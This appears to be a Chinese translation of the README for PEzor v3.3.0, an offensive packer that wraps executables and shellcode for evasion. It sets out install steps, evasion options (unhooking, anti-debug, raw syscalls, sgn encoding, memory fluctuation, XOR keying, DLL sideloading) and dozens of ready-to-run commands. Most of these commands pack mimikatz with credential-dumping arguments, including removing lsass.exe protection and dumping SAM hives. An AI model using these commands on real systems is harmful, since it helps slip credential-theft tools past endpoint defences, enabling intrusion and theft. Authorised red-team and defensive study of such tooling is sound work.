阅读以下博客文章:
________________
< PEzor!! v3.3.0 >
----------------
\ / \ //\
\ |\___/| / \// \\
/0 0 \__ / // | \ \
/ / \/_/ // | \ \
@_^_@'/ \/_ // | \ \
//_^_/ \/_ // | \ \
( //) | \/// | \ \
( / /) _|_ / ) // | \ _\
( // /) '/,_ _ _/ ( ; -. | _ _\.-~ .-~~~^-.
(( / / )) ,-{ _ `-.|.-~-. .~ `.
(( // / )) '/\ / ~-. _ .-~ .-~^-. \
(( /// )) `. { } / \ \
(( / )) .----~-.\ \-' .~ \ `. \^-.
///.----..> \ _ -~ `. ^-` ^-_
///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
/.-~
---------------------------------------------------------------------------
install.sh 旨在适用于 Kali Linux 发行版。
$ git clone https://github.com/phra/PEzor.git
$ cd PEzor
$ sudo bash install.sh
$ bash PEzor.sh -h
必须更新 PATH 变量以使用 Donut 的特定提交!请查看更新后的 install.sh 脚本。
PEzor help显示 PEzor 的帮助信息
USAGE
$ PEzor help
PEzor <EXECUTABLE>将提供的可执行文件打包成新的可执行文件
OPTIONS
-h 显示使用说明并退出
-32 强制生成 32 位可执行文件
-64 强制生成 64 位可执行文件
-debug 生成调试版本
-unhook 移除用户态钩子
-antidebug 添加反调试检查
-syscalls 使用原始系统调用 [仅 64 位] [仅 Windows 10]
-sgn 使用 sgn 对生成的 shellcode 进行编码
-text 将 shellcode 存储在 .text 节中,而非 .data
-rx 为 shellcode 分配 RX 内存
-self 在同一线程内执行 shellcode
-sdk=VERSION 使用指定的 .NET Framework 版本(2、4、4.5(默认))
-cleanup 清理已分配的有效载荷和已加载的模块(仅用于 BOF)
-sleep=N 在解压 shellcode 前休眠 N 秒
-format=FORMAT 以指定的 FORMAT 输出结果(exe、dll、reflective-dll、service-exe、service-dll、dotnet、dotnet-createsection、dotnet-pinvoke)
-fluctuate=PROTECTION 通过挂钩 Sleep() 将内存区域波动为 PROTECTION(RW 或 NA)
-xorkey=KEY 使用简单的多字节 XOR 加密有效载荷,运行时通过 GetComputerNameExA(ComputerNameDnsFullyQualified) 获取密钥
[donut args...] 在被打包的可执行文件后,可以传递额外的 Donut 参数,例如 -z 2
EXAMPLES
# 64 位(自注入 RWX)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64 位(自注入 RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64 位(原始系统调用)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64 位(休眠时波动为 READWRITE)
$ PEzor.sh -fluctuate=RW -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64 位(休眠时波动为 NOACCESS)
$ PEzor.sh -fluctuate=NA -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64 位(使用 GetComputerNameExA 进行环境密钥绑定)
$ PEzor.sh -xorkey=MY-FQDN-COMPUTER-NAME -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64 位(通过保留内存中的 PE 头来支持带资源的 EXE)
$ PEzor.sh -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -k 2 -p '"!+" "!processprotect" "/process:lsass.exe" "/remove" "!-" "exit"'
# 64 位(beacon 对象文件)
$ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 位(带清理的 beacon 对象文件)
$ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 位(dll)
$ PEzor.sh -format=dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64 位(dll 侧加载)
$ PEzor.sh -format=dll -dll-sideload=version.dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64 位(反射式 dll)
$ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 位(服务 exe)
$ PEzor.sh -format=service-exe mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 位(服务 dll)
$ PEzor.sh -format=service-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 位(dotnet)
$ PEzor.sh -format=dotnet -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 位(dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 位(dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 32 位(自注入)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32 位(Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32 位(Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)并传递 Donut 参数
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 "-plsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv"
PEzor <SHELLCODE>将提供的 shellcode 打包成可执行文件
USAGE
$ PEzor <-32|-64> [options...] <SHELLCODE>
OPTIONS
-h 显示使用说明并退出
-32 强制生成 32 位可执行文件
-64 强制生成 64 位可执行文件
-debug 生成调试版本
-unhook 移除用户态钩子
-antidebug 添加反调试检查
-shellcode 强制检测 shellcode
-syscalls 使用原始系统调用 [仅 64 位] [仅 Windows 10]
-sgn 使用 sgn 对提供的 shellcode 进行编码
-text 将 shellcode 存储在 .text 节中,而非 .data
-rx 为 shellcode 分配 RX 内存
-self 在同一线程内执行 shellcode [需要 RX shellcode,与 -sgn 不兼容]
-cleanup 清理已分配的有效载荷和已加载的模块(仅用于 BOF)
-sleep=N 在解压 shellcode 前休眠 N 秒
-format=FORMAT 以指定的 FORMAT 输出结果(exe、dll、reflective-dll、service-exe、service-dll、dotnet、dotnet-createsection、dotnet-pinvoke)
-fluctuate=PROTECTION 通过挂钩 Sleep() 将内存区域波动为 PROTECTION(RW 或 NA)
-xorkey=KEY 使用简单的多字节 XOR 加密有效载荷,运行时通过 GetComputerNameExA(ComputerNameDnsFullyQualified) 获取密钥
EXAMPLES
# 64 位(自注入 RWX)
$ PEzor.sh shellcode.bin
# 64 位(自注入 RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 shellcode.bin
# 64 位(自注入)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 64 位(原始系统调用)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 shellcode.bin
# 64 位(休眠时波动为 READWRITE)
$ PEzor.sh -fluctuate=RW shellcode.bin
# 64 位(休眠时波动为 NOACCESS)
$ PEzor.sh -fluctuate=NA shellcode.bin
# 64 位(使用 GetComputerNameExA 进行环境密钥绑定)
$ PEzor.sh -xorkey=MY-FQDN-MACHINE-NAME shellcode.bin
# 64 位(beacon 对象文件)
$ PEzor.sh -format=bof shellcode.bin
# 64 位(带清理的 beacon 对象文件)
$ PEzor.sh -format=bof -cleanup shellcode.bin
# 64 位(dll)
$ PEzor.sh -format=dll shellcode.bin
# 64 位(dll 侧加载)
$ PEzor.sh -format=dll -dll-sideload=version.dll shellcode.bin
# 64 位(反射式 dll)
$ PEzor.sh -format=reflective-dll shellcode.bin
# 64 位(服务 exe)
$ PEzor.sh -format=service-exe shellcode.bin
# 64 位(服务 dll)
$ PEzor.sh -format=service-dll shellcode.bin
# 64 位(dotnet)
$ PEzor.sh -format=dotnet shellcode.bin
# 64 位(dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke shellcode.bin
# 64 位(dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection shellcode.bin
# 32 位(自注入)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 32 位(Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 shellcode.bin
查看代码:PEzor.sh